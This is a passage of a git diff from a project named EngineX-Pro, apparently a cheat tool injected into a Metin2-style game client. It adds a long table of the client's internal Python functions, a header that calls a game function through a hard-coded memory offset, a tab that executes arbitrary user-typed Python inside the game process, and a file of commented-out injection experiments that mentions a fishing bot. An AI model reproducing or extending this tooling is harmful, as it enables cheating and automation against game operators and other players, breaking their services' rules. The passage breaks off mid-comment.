make_pair("IsMonsterStone","nonplayer") }, +{ make_pair("GetVnumByVID","nonplayer") }, +{ make_pair("IsEnemy","nonplayer") }, +{ make_pair("InitTrading","exchange") }, +{ make_pair("isTrading","exchange") }, +{ make_pair("GetLevelFromTarget","exchange") }, +{ make_pair("GetElkFromSelf","exchange") }, +{ make_pair("GetElkFromTarget","exchange") }, +{ make_pair("GetItemVnumFromSelf","exchange") }, +{ make_pair("GetItemVnumFromTarget","exchange") }, +{ make_pair("GetItemCountFromSelf","exchange") }, +{ make_pair("GetItemCountFromTarget","exchange") }, +{ make_pair("GetAcceptFromSelf","exchange") }, +{ make_pair("GetAcceptFromTarget","exchange") }, +{ make_pair("GetNameFromSelf","exchange") }, +{ make_pair("GetNameFromTarget","exchange") }, +{ make_pair("GetItemMetinSocketFromTarget","exchange") }, +{ make_pair("GetItemMetinSocketFromSelf","exchange") }, +{ make_pair("GetItemAttributeFromTarget","exchange") }, +{ make_pair("GetItemAttributeFromSelf","exchange") }, +{ make_pair("GetItemTransmutateFromTarget","exchange") }, +{ make_pair("GetItemTransmutateFromSelf","exchange") }, +{ make_pair("GetElkMode","exchange") }, +{ make_pair("SetElkMode","exchange") }, +{ make_pair("GetChequeFromSelf","exchange") }, +{ make_pair("GetChequeFromTarget","exchange") }, +{ make_pair("SetChatColor","chat") }, +{ make_pair("Clear","chat") }, +{ make_pair("Close","chat") }, +{ make_pair("CreateChatSet","chat") }, +{ make_pair("Update","chat") }, +{ make_pair("Render","chat") }, +{ make_pair("SetBoardState","chat") }, +{ make_pair("SetPosition","chat") }, +{ make_pair("SetHeight","chat") }, +{ make_pair("SetStep","chat") }, +{ make_pair("ToggleChatMode","chat") }, +{ make_pair("EnableChatMode","chat") }, +{ make_pair("DisableChatMode","chat") }, +{ make_pair("SetEndPos","chat") }, +{ make_pair("GetLineCount","chat") }, +{ make_pair("GetVisibleLineCount","chat") }, +{ make_pair("GetLineStep","chat") }, +{ make_pair("AppendChat","chat") }, +{ make_pair("AppendChatWithDelay","chat") }, +{ make_pair("ArrangeShowingChat","chat") }, +{ make_pair("IgnoreCharacter","chat") }, +{ make_pair("IsIgnoreCharacter","chat") }, +{ make_pair("CreateWhisper","chat") }, +{ make_pair("AppendWhisper","chat") }, +{ make_pair("RenderWhisper","chat") }, +{ make_pair("SetWhisperBoxSize","chat") }, +{ make_pair("SetWhisperPosition","chat") }, +{ make_pair("ClearWhisper","chat") }, +{ make_pair("InitWhisper","chat") }, +{ make_pair("GetLinkFromHyperlink","chat") }, +{ make_pair("Clear","textTail") }, +{ make_pair("UpdateAllTextTail","textTail") }, +{ make_pair("UpdateShowingTextTail","textTail") }, +{ make_pair("Render","textTail") }, +{ make_pair("ShowCharacterTextTail","textTail") }, +{ make_pair("ShowItemTextTail","textTail") }, +{ make_pair("GetPosition","textTail") }, +{ make_pair("IsChat","textTail") }, +{ make_pair("ArrangeTextTail","textTail") }, +{ make_pair("HideAllTextTail","textTail") }, +{ make_pair("ShowAllTextTail","textTail") }, +{ make_pair("ShowAllItemTextTail","textTail") }, +{ make_pair("HideAllItemTextTail","textTail") }, +{ make_pair("Pick","textTail") }, +{ make_pair("SelectItemName","textTail") }, +{ make_pair("EnablePKTitle","textTail") }, +{ make_pair("RegisterCharacterTextTail","textTail") }, +{ make_pair("RegisterChatTail","textTail") }, +{ make_pair("RegisterInfoTail","textTail") }, +{ make_pair("AttachTitle","textTail") }, +{ make_pair("SendItemDestroyPacket","net") }, +{ make_pair("GetBettingGuildWarValue","net") }, +{ make_pair("EnableChatInsultFilter","net") }, +{ make_pair("SetServerInfo","net") }, +{ make_pair("GetServerInfo","net") }, +{ make_pair("PreserveServerCommand","net") }, +{ make_pair("GetPreservedServerCommand","net") }, +{ make_pair("StartGame","net") }, +{ make_pair("Warp","net") }, +{ make_pair("IsTest","net") }, +{ make_pair("SetMarkServer","net") }, +{ make_pair("IsChatInsultIn","net") }, +{ make_pair("IsInsultIn","net") }, +{ make_pair("LoadInsultList","net") }, +{ make_pair("UploadMark","net") }, +{ make_pair("UploadSymbol","net") }, +{ make_pair("GetGuildID","net") }, +{ make_pair("GetEmpireID","net") }, +{ make_pair("GetMainActorVID","net") }, +{ make_pair("GetMainActorRace","net") }, +{ make_pair("GetMainActorEmpire","net") }, +{ make_pair("GetMainActorSkillGroup","net") }, +{ make_pair("GetAccountCharacterSlotDataInteger","net") }, +{ make_pair("GetAccountCharacterSlotDataString","net") }, +{ make_pair("GetFieldMusicFileName","net") }, +{ make_pair("GetFieldMusicVolume","net") }, +{ make_pair("ToggleGameDebugInfo","net") }, +{ make_pair("SetLoginInfo","net") }, +{ make_pair("SetPhaseWindow","net") }, +{ make_pair("ClearPhaseWindow","net") }, +{ make_pair("SetServerCommandParserWindow","net") }, +{ make_pair("SetAccountConnectorHandler","net") }, +{ make_pair("SetHandler","net") }, +{ make_pair("SetTCPRecvBufferSize","net") }, +{ make_pair("SetTCPSendBufferSize","net") }, +{ make_pair("SetUDPRecvBufferSize","net") }, +{ make_pair("DirectEnter","net") }, +{ make_pair("LogOutGame","net") }, +{ make_pair("ExitGame","net") }, +{ make_pair("ExitApplication","net") }, +{ make_pair("ConnectTCP","net") }, +{ make_pair("ConnectUDP","net") }, +{ make_pair("ConnectToAccountServer","net") }, +{ make_pair("SendLoginPacket","net") }, +{ make_pair("SendChinaMatrixCardPacket","net") }, +{ make_pair("SendRunupMatrixCardPacket","net") }, +{ make_pair("SendNEWCIBNPasspodAnswerPacket","net") }, +{ make_pair("SendSelectEmpirePacket","net") }, +{ make_pair("SendSelectCharacterPacket","net") }, +{ make_pair("SendChangeNamePacket","net") }, +{ make_pair("SendCreateCharacterPacket","net") }, +{ make_pair("SendDestroyCharacterPacket","net") }, +{ make_pair("SendEnterGamePacket","net") }, +{ make_pair("SendItemUsePacket","net") }, +{ make_pair("SendItemUseToItemPacket","net") }, +{ make_pair("SendItemDropPacket","net") }, +{ make_pair("SendItemDropPacketNew","net") }, +{ make_pair("SendElkDropPacket","net") }, +{ make_pair("SendGoldDropPacketNew","net") }, +{ make_pair("SendItemMovePacket","net") }, +{ make_pair("SendItemPickUpPacket","net") }, +{ make_pair("SendGiveItemPacket","net") }, +{ make_pair("SetOfflinePhase","net") }, +{ make_pair("Disconnect","net") }, +{ make_pair("IsConnect","net") }, +{ make_pair("SendChatPacket","net") }, +{ make_pair("SendEmoticon","net") }, +{ make_pair("SendWhisperPacket","net") }, +{ make_pair("SendMobileMessagePacket","net") }, +{ make_pair("SendCharacterPositionPacket","net") }, +{ make_pair("SendShopEndPacket","net") }, +{ make_pair("SendShopBuyPacket","net") }, +{ make_pair("SendShopSellPacket","net") }, +{ make_pair("SendShopSellPacketNew","net") }, +{ make_pair("SendExchangeStartPacket","net") }, +{ make_pair("SendExchangeItemAddPacket","net") }, +{ make_pair("SendExchangeItemDelPacket","net") }, +{ make_pair("SendExchangeElkAddPacket","net") }, +{ make_pair("SendExchangeChequeAddPacket","net") }, +{ make_pair("SendExchangeAcceptPacket","net") }, +{ make_pair("SendExchangeExitPacket","net") }, +{ make_pair("SendOnClickPacket","net") }, +{ make_pair("RegisterEmoticonString","net") }, +{ make_pair("SendMessengerAddByVIDPacket","net") }, +{ make_pair("SendMessengerAddByNamePacket","net") }, +{ make_pair("SendMessengerRemovePacket","net") }, +{ make_pair("SendPartyInvitePacket","net") }, +{ make_pair("SendPartyInviteAnswerPacket","net") }, +{ make_pair("SendPartyExitPacket","net") }, +{ make_pair("SendPartyRemovePacket","net") }, +{ make_pair("SendPartySetStatePacket","net") }, +{ make_pair("SendPartyUseSkillPacket","net") }, +{ make_pair("SendPartyParameterPacket","net") }, +{ make_pair("SendSafeboxSaveMoneyPacket","net") }, +{ make_pair("SendSafeboxWithdrawMoneyPacket","net") }, +{ make_pair("SendSafeboxCheckinPacket","net") }, +{ make_pair("SendSafeboxCheckoutPacket","net") }, +{ make_pair("SendSafeboxItemMovePacket","net") }, +{ make_pair("SendMallCheckoutPacket","net") }, +{ make_pair("SendAnswerMakeGuildPacket","net") }, +{ make_pair("SendQuestInputStringPacket","net") }, +{ make_pair("SendQuestConfirmPacket","net") }, +{ make_pair("SendGuildAddMemberPacket","net") }, +{ make_pair("SendGuildRemoveMemberPacket","net") }, +{ make_pair("SendGuildChangeGradeNamePacket","net") }, +{ make_pair("SendGuildChangeGradeAuthorityPacket","net") }, +{ make_pair("SendGuildOfferPacket","net") }, +{ make_pair("SendGuildPostCommentPacket","net") }, +{ make_pair("SendGuildDeleteCommentPacket","net") }, +{ make_pair("SendGuildRefreshCommentsPacket","net") }, +{ make_pair("SendGuildChangeMemberGradePacket","net") }, +{ make_pair("SendGuildUseSkillPacket","net") }, +{ make_pair("SendGuildChangeMemberGeneralPacket","net") }, +{ make_pair("SendGuildInviteAnswerPacket","net") }, +{ make_pair("SendGuildChargeGSPPacket","net") }, +{ make_pair("SendGuildDepositMoneyPacket","net") }, +{ make_pair("SendGuildWithdrawMoneyPacket","net") }, +{ make_pair("SendRequestRefineInfoPacket","net") }, +{ make_pair("SendRefinePacket","net") }, +{ make_pair("SendSelectItemPacket","net") }, +{ make_pair("SetPacketSequenceMode","net") }, +{ make_pair("SetEmpireLanguageMode","net") }, +{ make_pair("SetSkillGroupFake","net") }, +{ make_pair("SendGuildSymbol","net") }, +{ make_pair("DisconnectUploader","net") }, +{ make_pair("RecvGuildSymbol","net") }, +{ make_pair("RegisterErrorLog","net") }, +{ make_pair("SendTargetDropPacket","net") }, +{ make_pair("DetachSoulStone","net") }, +{ make_pair("CostumeColoring","net") }, +{ make_pair("SendAddItemOfflineShopPacket","net") }, +{ make_pair("SendRemoveGuestOfflineShopPacket","net") }, +{ make_pair("SendBuyItemOfflineShopPacket","net") }, +{ make_pair("SendOfflineShopStorageCheckoutPacket","net") }, +{ make_pair("SendLotteryStartPacket","net") }, +{ make_pair("SendLotteryStopPacket","net") }, +{ make_pair("SendLotteryQuitPacket","net") }, +{ make_pair("AddStoneExchangeItem","net") }, +{ make_pair("DeleteStoneExchangeItem","net") }, +{ make_pair("SendStoneExchangePacket","net") }, +{ make_pair("SendRequestTreasureBoxLoot","net") }, +{ make_pair("SendRequestNewInventoryCategory","net") }, +{ make_pair("SendRequestTargetLootPacket","net") }, +{ make_pair("ReloadActors","net") }, +{ make_pair("SendItemShopPacket","net") }, +{ make_pair("SetScale","miniMap") }, +{ make_pair("ScaleUp","miniMap") }, +{ make_pair("ScaleDown","miniMap") }, +{ make_pair("SetMiniMapSize","miniMap") }, +{ make_pair("SetCenterPosition","miniMap") }, +{ make_pair("Destroy","miniMap") }, +{ make_pair("Create","miniMap") }, +{ make_pair("Update","miniMap") }, +{ make_pair("Render","miniMap") }, +{ make_pair("Show","miniMap") }, +{ make_pair("Hide","miniMap") }, +{ make_pair("isShow","miniMap") }, +{ make_pair("GetInfo","miniMap") }, +{ make_pair("LoadAtlas","miniMap") }, +{ make_pair("UpdateAtlas","miniMap") }, +{ make_pair("RenderAtlas","miniMap") }, +{ make_pair("ShowAtlas","miniMap") }, +{ make_pair("HideAtlas","miniMap") }, +{ make_pair("isShowAtlas","miniMap") }, +{ make_pair("IsAtlas","miniMap") }, +{ make_pair("GetAtlasInfo","miniMap") }, +{ make_pair("GetAtlasSize","miniMap") }, +{ make_pair("AddWayPoint","miniMap") }, +{ make_pair("RemoveWayPoint","miniMap") }, +{ make_pair("RegisterAtlasWindow","miniMap") }, +{ make_pair("UnregisterAtlasWindow","miniMap") }, +{ make_pair("GetGuildAreaID","miniMap") }, +{ make_pair("Push","profiler") }, +{ make_pair("Pop","profiler") }, +{ make_pair("RegisterEventSet","event") }, +{ make_pair("RegisterEventSetFromString","event") }, +{ make_pair("ClearEventSet","event") }, +{ make_pair("SetRestrictedCount","event") }, +{ make_pair("GetEventSetLocalYPosition","event") }, +{ make_pair("AddEventSetLocalYPosition","event") }, +{ make_pair("InsertText","event") }, +{ make_pair("InsertTextInline","event") }, +{ make_pair("UpdateEventSet","event") }, +{ make_pair("RenderEventSet","event") }, +{ make_pair("SetEventSetWidth","event") }, +{ make_pair("Skip","event") }, +{ make_pair("IsWait","event") }, +{ make_pair("EndEventProcess","event") }, +{ make_pair("SelectAnswer","event") }, +{ make_pair("GetLineCount","event") }, +{ make_pair("SetVisibleStartLine","event") }, +{ make_pair("GetVisibleStartLine","event") }, +{ make_pair("SetVisibleLineCount","event") }, +{ make_pair("SetEventHandler","event") }, +{ make_pair("SetInterfaceWindow","event") }, +{ make_pair("SetLeftTimeString","event") }, +{ make_pair("QuestButtonClick","event") }, +{ make_pair("Destroy","event") }, +{ make_pair("RegisterEffect","effect") }, +{ make_pair("CreateEffect","effect") }, +{ make_pair("DeleteEffect","effect") }, +{ make_pair("SetPosition","effect") }, +{ make_pair("RegisterIndexedFlyData","effect") }, +{ make_pair("Update","effect") }, +{ make_pair("Render","effect") }, +{ make_pair("Update","fly") }, +{ make_pair("Render","fly") }, +{ make_pair("PlaySound","snd") }, +{ make_pair("PlaySound3D","snd") }, +{ make_pair("PlayMusic","snd") }, +{ make_pair("FadeInMusic","snd") }, +{ make_pair("FadeOutMusic","snd") }, +{ make_pair("FadeOutAllMusic","snd") }, +{ make_pair("FadeLimitOutMusic","snd") }, +{ make_pair("StopAllSound","snd") }, +{ make_pair("SetMusicVolumef","snd") }, +{ make_pair("SetMusicVolume","snd") }, +{ make_pair("SetSoundVolumef","snd") }, +{ make_pair("SetSoundVolume","snd") }, +{ make_pair("SetSoundScale","snd") }, +{ make_pair("SetAmbienceSoundScale","snd") }, +{ make_pair("Update","eventMgr") }, +{ make_pair("Open","shop") }, +{ make_pair("Close","shop") }, +{ make_pair("IsOpen","shop") }, +{ make_pair("IsPrivateShop","shop") }, +{ make_pair("IsMainPlayerPrivateShop","shop") }, +{ make_pair("GetItemID","shop") }, +{ make_pair("GetItemCount","shop") }, +{ make_pair("GetItemPrice","shop") }, +{ make_pair("GetItemPriceNew","shop") }, +{ make_pair("GetItemCurrency","shop") }, +{ make_pair("GetItemEventMaxBuyCount","shop") }, +{ make_pair("GetItemMetinSocket","shop") }, +{ make_pair("GetItemAttribute","shop") }, +{ make_pair("GetTabCount","shop") }, +{ make_pair("GetTabName","shop") }, +{ make_pair("GetTabCoinType","shop") }, +{ make_pair("GetItemTransmutate","shop") }, +{ make_pair("ClearPrivateShopStock","shop") }, +{ make_pair("AddPrivateShopItemStock","shop") }, +{ make_pair("DelPrivateShopItemStock","shop") }, +{ make_pair("GetPrivateShopItemPrice","shop") }, +{ make_pair("BuildPrivateShop","shop") }, +{ make_pair("SetPathName","skill") }, +{ make_pair("RegisterSkill","skill") }, +{ make_pair("LoadSkillData","skill") }, +{ make_pair("ClearSkillData","skill") }, +{ make_pair("GetSkillName","skill") }, +{ make_pair("GetSkillDescription","skill") }, +{ make_pair("GetSkillType","skill") }, +{ make_pair("GetSkillConditionDescriptionCount","skill") }, +{ make_pair("GetSkillConditionDescription","skill") }, +{ make_pair("GetSkillAffectDescriptionCount","skill") }, +{ make_pair("GetSkillAffectDescription","skill") }, +{ make_pair("GetSkillCoolTime","skill") }, +{ make_pair("GetSkillNeedSP","skill") }, +{ make_pair("GetSkillContinuationSP","skill") }, +{ make_pair("GetSkillMaxLevel","skill") }, +{ make_pair("GetSkillLevelUpPoint","skill") }, +{ make_pair("GetSkillLevelLimit","skill") }, +{ make_pair("IsSkillRequirement","skill") }, +{ make_pair("GetSkillRequirementData","skill") }, +{ make_pair("GetSkillRequireStatCount","skill") }, +{ make_pair("GetSkillRequireStatData","skill") }, +{ make_pair("CanLevelUpSkill","skill") }, +{ make_pair("IsLevelUpSkill","skill") }, +{ make_pair("CheckRequirementSueccess","skill") }, +{ make_pair("GetNeedCharacterLevel","skill") }, +{ make_pair("IsToggleSkill","skill") }, +{ make_pair("IsUseHPSkill","skill") }, +{ make_pair("IsStandingSkill","skill") }, +{ make_pair("CanUseSkill","skill") }, +{ make_pair("GetIconName","skill") }, +{ make_pair("GetIconImage","skill") }, +{ make_pair("GetIconImageNew","skill") }, +{ make_pair("GetIconInstance","skill") }, +{ make_pair("GetIconInstanceNew","skill") }, +{ make_pair("DeleteIconInstance","skill") }, +{ make_pair("GetGradeData","skill") }, +{ make_pair("GetNewAffectDataCount","skill") }, +{ make_pair("GetNewAffectData","skill") }, +{ make_pair("GetDuration","skill") }, +{ make_pair("TEST","skill") }, +{ make_pair("GetQuestCount","quest") }, +{ make_pair("GetQuestData","quest") }, +{ make_pair("GetQuestIndex","quest") }, +{ make_pair("GetQuestLastTime","quest") }, +{ make_pair("Clear","quest") }, +{ make_pair("IsSoftwareTiling","background") }, +{ make_pair("EnableSoftwareTiling","background") }, +{ make_pair("EnableSnow","background") }, +{ make_pair("GlobalPositionToLocalPosition","background") }, +{ make_pair("GlobalPositionToMapInfo","background") }, +{ make_pair("GetRenderShadowTime","background") }, +{ make_pair("LoadMap","background") }, +{ make_pair("Destroy","background") }, +{ make_pair("RegisterEnvironmentData","background") }, +{ make_pair("SetEnvironmentData","background") }, +{ make_pair("GetCurrentMapName","background") }, +{ make_pair("GetPickingPoint","background") }, +{ make_pair("BeginEnvironment","background") }, +{ make_pair("EndEnvironment","background") }, +{ make_pair("SetCharacterDirLight","background") }, +{ make_pair("SetBackgroundDirLight","background") }, +{ make_pair("Initialize","background") }, +{ make_pair("Update","background") }, +{ make_pair("Render","background") }, +{ make_pair("RenderPCBlocker","background") }, +{ make_pair("RenderCollision","background") }, +{ make_pair("RenderSky","background") }, +{ make_pair("RenderCloud","background") }, +{ make_pair("RenderWater","background") }, +{ make_pair("RenderEffect","background") }, +{ make_pair("RenderBeforeLensFlare","background") }, +{ make_pair("RenderAfterLensFlare","background") }, +{ make_pair("RenderCharacterShadowToTexture","background") }, +{ make_pair("RenderDungeon","background") }, +{ make_pair("GetHeight","background") }, +{ make_pair("SetShadowLevel","background") }, +{ make_pair("SetVisiblePart","background") }, +{ make_pair("GetShadowMapColor","background") }, +{ make_pair("SetSplatLimit","background") }, +{ make_pair("GetRenderedSplatNum","background") }, +{ make_pair("GetRenderedGraphicThingInstanceNum","background") }, +{ make_pair("SelectViewDistanceNum","background") }, +{ make_pair("SetViewDistanceSet","background") }, +{ make_pair("GetFarClip","background") }, +{ make_pair("GetDistanceSetInfo","background") }, +{ make_pair("SetBGLoading","background") }, +{ make_pair("SetRenderSort","background") }, +{ make_pair("SetTransparentTree","background") }, +{ make_pair("SetXMasTree","background") }, +{ make_pair("RegisterDungeonMapName","background") }, +{ make_pair("VisibleGuildArea","background") }, +{ make_pair("DisableGuildArea","background") }, +{ make_pair("WarpTest","background") }, +{ make_pair("RemoveFriend","messenger") }, +{ make_pair("IsFriendByName","messenger") }, +{ make_pair("Destroy","messenger") }, +{ make_pair("RefreshGuildMember","messenger") }, +{ make_pair("SetMessengerHandler","messenger") }, +{ make_pair("SendCloseRequest","sash") }, +{ make_pair("Add","sash") }, +{ make_pair("Remove","sash") }, +{ make_pair("GetPrice","sash") }, +{ make_pair("GetAttachedItem","sash") }, +{ make_pair("GetResultItem","sash") }, +{ make_pair("SendRefineRequest","sash") }, +{ make_pair("AddArmorEffect","shining") }, +{ make_pair("AddWeaponEffect","shining") }, +{ make_pair("AddMDEWeapon","shining") }, +{ make_pair("Clear","shining") }, +{ make_pair("Get","blocksystem") }, +{ make_pair("Send","blocksystem") }, +{ make_pair("isBlocked","blocksystem") }, +{ make_pair("GetCurrentSafeboxSize","safebox") }, +{ make_pair("GetItemID","safebox") }, +{ make_pair("GetItemCount","safebox") }, +{ make_pair("GetItemFlags","safebox") }, +{ make_pair("GetItemMetinSocket","safebox") }, +{ make_pair("GetItemAttribute","safebox") }, +{ make_pair("GetMoney","safebox") }, +{ make_pair("GetItemTransmutate","safebox") }, +{ make_pair("GetMallItemID","safebox") }, +{ make_pair("GetMallItemCount","safebox") }, +{ make_pair("GetMallItemMetinSocket","safebox") }, +{ make_pair("GetMallItemAttribute","safebox") }, +{ make_pair("GetMallSize","safebox") }, +{ make_pair("IsGuildEnable","guild") }, +{ make_pair("GuildIDToMarkID","guild") }, +{ make_pair("GetMarkImageFilenameByMarkID","guild") }, +{ make_pair("GetMarkIndexByMarkID","guild") }, +{ make_pair("GetGuildID","guild") }, +{ make_pair("HasGuildLand","guild") }, +{ make_pair("GetGuildName","guild") }, +{ make_pair("GetGuildMasterName","guild") }, +{ make_pair("GetEnemyGuildName","guild") }, +{ make_pair("GetGuildMoney","guild") }, +{ make_pair("GetGuildBoardCommentCount","guild") }, +{ make_pair("GetGuildBoardCommentData","guild") }, +{ make_pair("GetGuildLevel","guild") }, +{ make_pair("GetGuildExperience","guild") }, +{ make_pair("GetGuildMemberCount","guild") }, +{ make_pair("GetGuildMemberLevelSummary","guild") }, +{ make_pair("GetGuildMemberLevelAverage","guild") }, +{ make_pair("GetGuildExperienceSummary","guild") }, +{ make_pair("GetGuildSkillPoint","guild") }, +{ make_pair("GetDragonPowerPoint","guild") }, +{ make_pair("GetGuildSkillLevel","guild") }, +{ make_pair("GetSkillLevel","guild") }, +{ make_pair("GetSkillMaxLevelNew","guild") }, +{ make_pair("SetSkillIndex","guild") }, +{ make_pair("GetSkillIndex","guild") }, +{ make_pair("GetGradeData","guild") }, +{ make_pair("GetGradeName","guild") }, +{ make_pair("GetMemberCount","guild") }, +{ make_pair("GetMemberData","guild") }, +{ make_pair("MemberIndexToPID","guild") }, +{ make_pair("IsMember","guild") }, +{ make_pair("IsMemberByName","guild") }, +{ make_pair("MainPlayerHasAuthority","guild") }, +{ make_pair("Destroy","guild") }, +{ make_pair("GetNewGuildData","guild") }, +{ make_pair("Create","ServerStateChecker") }, +{ make_pair("Update","ServerStateChecker") }, +{ make_pair("Request","ServerStateChecker") }, +{ make_pair("AddChannel","ServerStateChecker") }, +{ make_pair("Initialize","ServerStateChecker") }, + +}; diff --git a/EngineX-Pro/PythonGameFunctions.h b/EngineX-Pro/PythonGameFunctions.h new file mode 100644 index 0000000..70e9367 --- /dev/null +++ b/EngineX-Pro/PythonGameFunctions.h @@ -0,0 +1,17 @@ +#pragma once +class PythonGameFunctions { +public: + typedef PyObject* PythonModuleFunction(PyObject* poSelf, PyObject* PoArgs); + static int PythonGameFunctions::PlayerGetStatus(DWORD dwType) + { + PyObject* args = PyTuple_New(1); + PyTuple_SetItem(args, 0, PyInt_FromLong(dwType)); + PythonModuleFunction* func = (PythonModuleFunction*)((DWORD)Globals::hEntryBaseAddress + 0x8FE60); + PyObject* ret = func(NULL, args); + int value = PyInt_AsLong(ret); + Py_DECREF(ret); + Py_DECREF(args); + Py_DECREF(func); + return value; + } +}; diff --git a/EngineX-Pro/PythonScript.h b/EngineX-Pro/PythonScript.h new file mode 100644 index 0000000..d9e5ad4 --- /dev/null +++ b/EngineX-Pro/PythonScript.h @@ -0,0 +1,57 @@ +#pragma once +class PythonScript :public IAbstractModuleBase, public Singleton +{ +private: + string pythonBuffer = string(15000, '\0');; + +public: + void OnStart() + { + + } + + void OnStop() + { + } + + void OnUpdate() + { + + } + + void OnRender() + { + } + + void OnTab1() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("PythonBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::InputTextMultiline("##Code", &pythonBuffer[0], pythonBuffer.size(), ImVec2(ImGui::GetWindowWidth() - 40, ImGui::GetWindowHeight() - 80)); + if (ImGui::Button("Execute")) + { + Globals::PyRun_SimpleStringFlags(pythonBuffer.c_str(), 0); + } + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTabs() + { + //if (Globals::Server == ServerName::METINPL) + //{ + MainForm::AddTab(34, "PythonScript"); + // } + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 34: + OnTab1(); + break; + } + } +}; \ No newline at end of file diff --git a/EngineX-Pro/RecycleBin.h b/EngineX-Pro/RecycleBin.h new file mode 100644 index 0000000..a311961 --- /dev/null +++ b/EngineX-Pro/RecycleBin.h @@ -0,0 +1,1515 @@ +//PyEval_InitThreads(); +//HMODULE pythonModule = NULL; +//pythonModule = GetModuleHandleA("python27.dll"); +//if (pythonModule == NULL) +//{ +// MessageBoxA(NULL, "Could not load python27.dll!", "Error", MB_ICONERROR); +// +//} +//PythonDefine::tPyRun_SimpleString xPyRun_SimpleString = (PythonDefine::tPyRun_SimpleString)GetProcAddress(pythonModule, "PyRun_SimpleString"); +//PythonDefine::tPyRun_SimpleStringFlags xPyRun_SimpleStringFlags = (PythonDefine::tPyRun_SimpleStringFlags)GetProcAddress(pythonModule, "YGzkMfWxWrhkZauvuNsIckQ"); +//if (xPyRun_SimpleString == NULL) +//{ +// MessageBoxA(NULL, "PyRun_SimpleString!", "Error", MB_ICONERROR); +// +//} +//if (xPyRun_SimpleStringFlags == NULL) +//{ +// MessageBoxA(NULL, "PyRun_SimpleStringFlags!", "Error", MB_ICONERROR); +// +//} +//int u = xPyRun_SimpleStringFlags("exec(compile(open('yest.py').read(), 'yest.py', 'exec'))", NULL); +//MessageBoxA(NULL, to_string(u).c_str(), "Error", MB_ICONERROR); +////if (u == -1) +////{ +//// std::string str; +//// PyObject * exc; +//// PyObject * v; +//// PyObject * tb; +//// const char * errStr; +// +//// PyErr_Fetch(&exc, &v, &tb); +// +//// if (PyString_Check(v)) +//// { +//// errStr = PyString_AS_STRING(v); +//// str.append("Error: "); +//// str.append(errStr); +//// /* ui.plainTextEditPacketSendOutput->appendHtml(QString::fromStdString(str));*/ +// +//// } +//// Py_DECREF(exc); +//// Py_DECREF(v); +//// Py_DECREF(tb); +/////* ui.plainTextEditPacketSendOutput->appendHtml(QString::fromStdString(str));*/ +////} + +/*HWND hWnd = Misc::FindTopWindow(GetCurrentProcessId()); +Misc::ShowBalloon(hWnd, L"huj", L"huj2", NULL);*/ + +////dllHandle = LoadLibrary(L"python27_d.dll"); +// +// +///* PythonDefine::Initialize(hModule);*/ + + + + + + + + +// +///* Py_Initialize(); +//PyEval_InitThreads();*/ +////PyImport_ImportModule("test"); +////PyRun_SimpleStringFlags("import dbg\ndbg.LogBox('Brak banner.tga')", NULL); +////PyRun_SimpleStringFlags("exec(compile(open('test.py').read(), 'test.py', 'exec'))", NULL); +////PyRun_SimpleStringFlags("import dbg\ndbg.LogBox('nk')", NULL); +///*Py_SetProgramName("eter.python2"); +//Py_Initialize();*/ + +// +//PythonDefine::_Py_Initialize(); +// PythonDefine::_PyEval_InitThreads2(); + + +//PythonDefine::_PyEval_InitThreads(); +///*inityttttt();*/ + +//int yy = PythonDefine::_PyRun_SimpleStringFlags("import yttttt", NULL); +// +////PythonDefine::_PyImport_ImportModule("ui"); +////PyThreadState *tstate = PythonDefine::_PyThreadState_Get2(); +////PyInterpreterState *inter = tstate->interp; + + + +////PyThreadState *tstate2 = PythonDefine::_PyThreadState_Get(); +////PyInterpreterState *inter2 = tstate2->interp; + + +////// // PyInterpreterState *inter3 = PythonDefine::_PyInterpreterState_Head(); +////inter2->modules = inter->modules; +////memcpy(inter2->builtins, inter->builtins, sizeof(PyObject)); +////memcpy(inter2->modules_reloading, inter->modules_reloading, sizeof(PyObject)); +////memcpy(inter2->sysdict, inter->sysdict, sizeof(PyObject)); +////memcpy(inter3, inter, sizeof(PyInterpreterState)); +///* PythonDefine::__PyThreadState_Prealloc(inter);*/ + + +///* PyThreadState *tstate3 = PythonDefine::_PyThreadState_New(inter); +//PythonDefine::_PyThreadState_Swap(tstate3);*/ + +//// int yyl = PythonDefine::_PyRun_SimpleStringFlags("print('hello, this is python')", NULL); + +//PyObject* i = PythonDefine::_PyImport_GetModuleDict(); +//PyObject *key, *value; +//Py_ssize_t pos = 0; +// +//while (PythonDefine::_PyDict_Next(i, &pos, &key, &value)) +//{ +// char* ckey = PythonDefine::_PyString_AsString(key); +// this->AppendFishBotLog( ckey); +// if (strcmp(ckey, "sys") == 0) +// { +// /*PyObject*hh = PythonDefine::_PyDict_GetItemString(, "dbg"); +// int iy = 7;*/ + +// } +// if (strcmp(ckey, "chat") == 0) +// { +// int y = 1; +// } +// // PyObject*networkStream = PythonDefine::_PyObject_GetAttrString(PythonDefine::_PyImport_ImportModule(ckey), "SendItemUsePacket"); +// // if (networkStream != NULL) +// // { +// // int y = 1; +// // } +// // /* PyObject*characterManager = PythonDefine::_PyObject_GetAttrString(PythonDefine::_PyImport_ImportModule(ckey), "GetPickedVID"); +// // if (characterManager != NULL) +// // { +// // int y = 1; +// // }*/ +// // PyObject*player = PythonDefine::_PyObject_GetAttrString(PythonDefine::_PyImport_ImportModule(ckey), "PickCloseItem"); +// // if (player != NULL) +// // { +// // int y = 1; +// // } +// // PyObject*chat = PythonDefine::_PyObject_GetAttrString(PythonDefine::_PyImport_ImportModule(ckey), "AppendChat"); +// // if (chat != NULL) +// // { +// // int y = 1; +// // } +// // PyObject*character = PythonDefine::_PyObject_GetAttrString(PythonDefine::_PyImport_ImportModule(ckey), "CreateInstance"); +// // if (character != NULL) +// // { +// // int y = 1; +// // } +// // PyObject*item = PythonDefine::_PyObject_GetAttrString(PythonDefine::_PyImport_ImportModule(ckey), "GetItemName"); +// // if (item != NULL) +// // { +// // int y = 1; +// // } +// // +// //PyObject*log = PythonDefine::_PyObject_GetAttrString(PythonDefine::_PyImport_ImportModule(ckey), "LogBox"); +// //if (item != NULL) +// //{ +// // int y = 1; +// //} +// /*Py_DECREF(networkStream); +// Py_DECREF(characterManager); +// Py_DECREF(player); +// Py_DECREF(chat); +// Py_DECREF(character); +// Py_DECREF(item);*/ +//} + +////int l = PythonDefine::_PyRun_SimpleStringFlags("import dbg", NULL); + + + +//////int p = 